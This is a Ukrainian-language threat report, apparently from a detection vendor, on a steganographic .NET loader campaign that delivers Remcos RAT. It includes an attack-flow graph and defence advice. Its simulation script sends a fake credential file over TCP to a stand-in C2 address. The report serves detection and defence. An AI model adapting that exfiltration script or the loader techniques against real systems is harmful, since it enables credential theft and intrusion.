Багатоступенева стеґанографічна кампанія із завантаження, яка розгортає різноманітні шкідливі програми по всьому світу

SOC Prime Team

Стежити

Багатоступенева стеґанографічна кампанія із завантаження, яка розгортає різноманітні шкідливі програми по всьому світу

Detection stack

AIDR
Alert
ETL
Query

Звіт про загрози
Потік атаки
Виявлення
Симуляції

Резюме

Багатоступенева кампанія зловмисного ПЗ використовує стеганографію та виконання в пам’яті для доставки численних шкідливих навантажень, включаючи Remcos RAT. Ланцюжок зараження починається з фішингового електронного листа, що містить зловмисний архів, який скидає виконуваний файл .NET. Цей виконуваний файл використовує вбудовані ресурси та методи стеганографії для завантаження пізніших стадій безпосередньо в пам’ять, що допомагає зловмисному ПЗ уникати виявлення на основі диска.

Розслідування

Розслідування почалося після того, як телеметрія відзначила підозрілий файл під назвою GST Debit Note Apr_26.com. Аналітики визначили, що файл був упакованим 32-бітним виконуваним файлом .NET, замаскованим під гру. Подальший зворотний інжиніринг виявив стеганографію, вбудовану в об’єкт .NET Bitmap, яка приховувала завантажувач наступного ступеня, Optimax.dll, і дозволила йому працювати цілком у пам’яті.

Міри запобігання

Організації повинні розгортати сильні фільтри електронної пошти для блокування підозрілих архівних вкладень та фішингових спроб. Рішення EDR повинні бути здатні виявляти виконання в пам’яті, заповнювання процесів і підозрілу поведінку PowerShell. Команди також повинні стежити за несанкціонованими змінами в реєстрі, особливо в ключах Run, і забезпечувати жорсткий контроль додатків, щоб запобігти запуску непідписаних виконуваних файлів.

Відповідь

Заражені кінцеві точки мають бути ізольовані негайно, щоб обмежити лавинний рух та крадіжку даних. Розслідувачі повинні виконати форензику пам’яті для виявлення компонентів без файлів та підтвердження наявності Remcos_Mutex_Inj м’ютексу. Повне сканування має також перевірити на явну несанкціоновану постійність у каталозі AppData та ключі Run реєстру, при цьому облікові дані повинні бути скинуті для будь-яких користувачів, чиї браузери могли бути доступні зловмисним ПЗ.

graph TB %% Class Definitions Section classDef action fill:#99ccff classDef malware fill:#ff99cc classDef technique fill:#c2f0c2 classDef file fill:#e1e1e1 %% Node Definitions %% Initial Access attack_phishing[“Action – Phishing: Spearphishing Attachment Details: Malicious archive GST Debit Note Apr_26.com sent to victims.”] class attack_phishing action %% Evasion and Loader Stage 1 evasion_stego[“Obfuscated Files or Information: Steganography Details: Hiding Optimax.dll inside a serialized .NET Bitmap object within the executable resource section.”] class evasion_stego technique exec_appdomain[“Hijack Execution Flow: AppDomainManager Details: Using reflection and AppDomain.Load to execute payload directly from memory without touching disk.”] class exec_appdomain technique %% Second Stage loader_stage2[“Process Injection: Process Hollowing Details: System Optimizer Ultimate.dll deploys final payload by hollowing a default browser process.”] class loader_stage2 technique malware_remcos[“Remcos RAT Description: Remote Access Trojan deployed as the final payload.”] class malware_remcos malware %% Persistence and Evasion evasion_sandbox[“Virtualization/Sandbox Evasion Details: Checking for sbiedll.dll and registry keys to detect sandboxes or virtual machines.”] class evasion_sandbox technique persistence_active[“Boot or Logon Autostart Execution: Active Setup Details: Copying malware to AppDataRoaming and configuring a Run registry key for persistence.”] class persistence_active technique %% Collection and Exfiltration collect_browser[“Browser Information Discovery Details: Collecting Chrome and Firefox credentials.”] class collect_browser technique steal_cookies[“Steal Web Session Cookie Details: Capturing active web session cookies.”] class steal_cookies technique exfil_c2[“Exfiltration Over C2 Channel Details: Sending captured data from logs.dat to the attacker via Command and Control.”] class exfil_c2 technique file_logs[“logs.dat Description: Local file used to store stolen credentials and cookies.”] class file_logs file %% Connections %% Flow of attack attack_phishing –>|leads_to| evasion_stego evasion_stego –>|unpacks| exec_appdomain exec_appdomain –>|loads| loader_stage2 loader_stage2 –>|deploys| malware_remcos %% Malware actions malware_remcos –>|performs| evasion_sandbox malware_remcos –>|establishes| persistence_active malware_remcos –>|performs| collect_browser collect_browser –>|leads_to| steal_cookies steal_cookies –>|saves_to| file_logs file_logs –>|sent_via| exfil_c2

Потік атаки

Сценарій атаки та команди: Суперник успішно встановив точку опори. Для досягнення мети вони збирають телеметрію системи і зберігають її у файлі з назвою logs.dat , щоб замаскувати його під стандартні журнали системи. Потім суперник ініціює мережеве з’єднання до встановленої інфраструктури C2 (використовуючи IP 1.2.3.4 та порт 37393 для цієї симуляції) для витоку даних. Це імітує поведінку стеганографічного завантажувача, що намагається вивести дані з мережі через конкретний, жорстко закодований канал.

Сценарій регресійного тестування:

# Симуляція ексфільтрації даних через специфічні параметри файлу та C2
$C2_IP = "1.2.3.4" # Симульований IP C2
$C2_PORT = 37393
$FILENAME = "logs.dat"

# 1. Створіть 'шкідливий' файл даних
Write-Output "Чутливі дані: UserCredentials_Admin_Pass123" | Out-File -FilePath "$env:TEMP$FILENAME"

# 2. Симулюйте мережеве з'єднання до C2
# Використовуючи клієнт TCP для примусового отримання спеціальних телеметрій порт/IP
try {
    $client = New-Object System.Net.Sockets.TcpClient($C2_IP, $C2_PORT)
    $stream = $client.GetStream()
    $data = [System.Text.Encoding]::ASCII.GetBytes((Get-Content "$env:TEMP$FILENAME"))
    $stream.Write($data, 0, $data.Length)
    $client.Close()
} catch {
    Write-Host "З'єднання не вдалося (очікується, якщо IP не існує), але телеметрія повинна бути захоплена фаєрволом."
}

Команди очищення:

# Видаліть зімітований шкідливий файл
Remove-Item -Path "$env:TEMPlogs.dat" -ErrorAction SilentlyContinue

Приєднуйтесь до платформи Detection as Code від SOC Prime щоб покращити видимість загроз, найбільш актуальних для вашого бізнесу. Щоб допомогти вам розпочати та отримати негайну цінність, забронюйте зустріч зараз з експертами SOC Prime.

Приєднатися безкоштовно